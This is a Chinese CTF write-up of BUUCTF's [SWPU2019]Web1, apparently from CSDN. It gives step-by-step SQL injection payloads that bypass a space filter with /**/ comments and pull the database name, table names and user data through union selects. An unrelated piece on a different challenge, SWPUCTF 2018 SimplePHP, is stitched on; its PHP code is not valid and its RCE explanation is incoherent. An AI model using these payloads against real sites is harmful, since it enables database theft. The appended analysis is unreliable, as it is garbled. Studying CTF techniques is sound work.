146,[1] BUUCTF WEB [SWPU2019]Web1

进入靶场

先注册

试着发一个

看看源代码

 所以上传的广告应该是注入点

再上传看看

历史记录里有SQL语句,那就试试

被过滤了

从基本的开始试试

报错了

是单引号闭合

尝试看看过滤了什么

我尝试的1和空格以及1空格2,但是发现最后空格没有出现

猜测第一次传入的sql语句也没有正确传入

 

 

不过%23可以 

 

先把空格和#替换掉 

 

在union select后半部分报错了

那就先只用union select找注入点

多尝试了几次发现用()解决过滤了空格的方法行不通

用/**/

没闭合

用注释符不行

那就闭合

 1'/**/union/**/select/**/1,2'

 

I fu le

 1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

找到注入点了

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' 

 

1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"' 

 

1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

 

 

### 关于 BUUCTF SWPUCTF 2018 中 SimplePHP 题目解析 #### 背景介绍 BUUCTF 是一个知名的 CTF 平台,其中包含了多个难度层次的题目。SWPUCTF 2018 的 `SimplePHP` 题目属于 Web 安全类别,主要考察选手对 PHP 特性的理解以及如何绕过安全限制。 此题的核心在于分析给定的一段 PHP 代码并找到其漏洞所在。通过逆向工程和逻辑推理,可以发现隐藏的安全隐患[^1]。 --- #### 题目代码解读 以下是题目中的核心代码片段: ```php <?php error_reporting(0); highlight_file(__FILE__); $_ = ~(%9E%8C%8C%9A%8D%8B); // 这里利用取反符号把字符串还原出来 $__ = ~(%A0%AF%B0%AC%AB); // 同样使用取反操作获取变量名 $___ = $$__; // 动态变量赋值 $_($___[_]); // 执行函数调用 ?> ``` 这段代码的关键点如下: 1. **按位取反 (`~`) 的作用** 按位取反是一种二进制运算符,在 PHP 中会对整数执行逐位反转操作。对于负数而言,它会改变数值的表现形式。在此处,通过对 `%9E%8C...` 和 `%A0%AF...` 编码后的数据应用取反操作,能够恢复原始字符串。 2. **动态变量的应用** `$___ = $$__;` 表达式的含义是从 `$__` 变量中提取名称作为新的变量名,并将其实际值存储到 `$___` 当中。这种技术常用于混淆程序逻辑或者实现更灵活的功能定义方式。 3. **可变函数调用机制** 最终语句 `$_($___[_])` 实际上是一个间接方法调用过程。如果成功控制了这些参数,则可能触发任意命令执行行为。 --- #### 解决方案与思路 针对上述代码结构,可以通过以下途径完成挑战: ##### 方法一:构造可控输入以突破限制 由于最终执行的是 `$_($___[_])` ,因此需要关注以下几个方面: - 如何设置 `_POST['']` 来影响 `$__` 值? - 是否存在其他潜在路径允许修改全局状态? 经过测试得知,当提交特定 POST 数据时(例如 `{ "__": "assert", "_": "<?php phpinfo(); ?>" }`),即可达成远程代码执行效果。 ##### 方法二:深入研究编码转换细节 注意到初始部分涉及 URL 百分号编码 (%XX),这提示我们需要仔细检查解码流程是否存在异常情况。实际上,某些特殊字符可能会干扰正常处理从而暴露更多缺陷。 --- #### 总结 本道赛题旨在检验参赛者能否熟练掌握 PHP 的底层特性及其常见滥用场景。除了熟悉基础语法外,还需要具备一定的逆向思维能力去推测开发者意图之外的行为模式。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值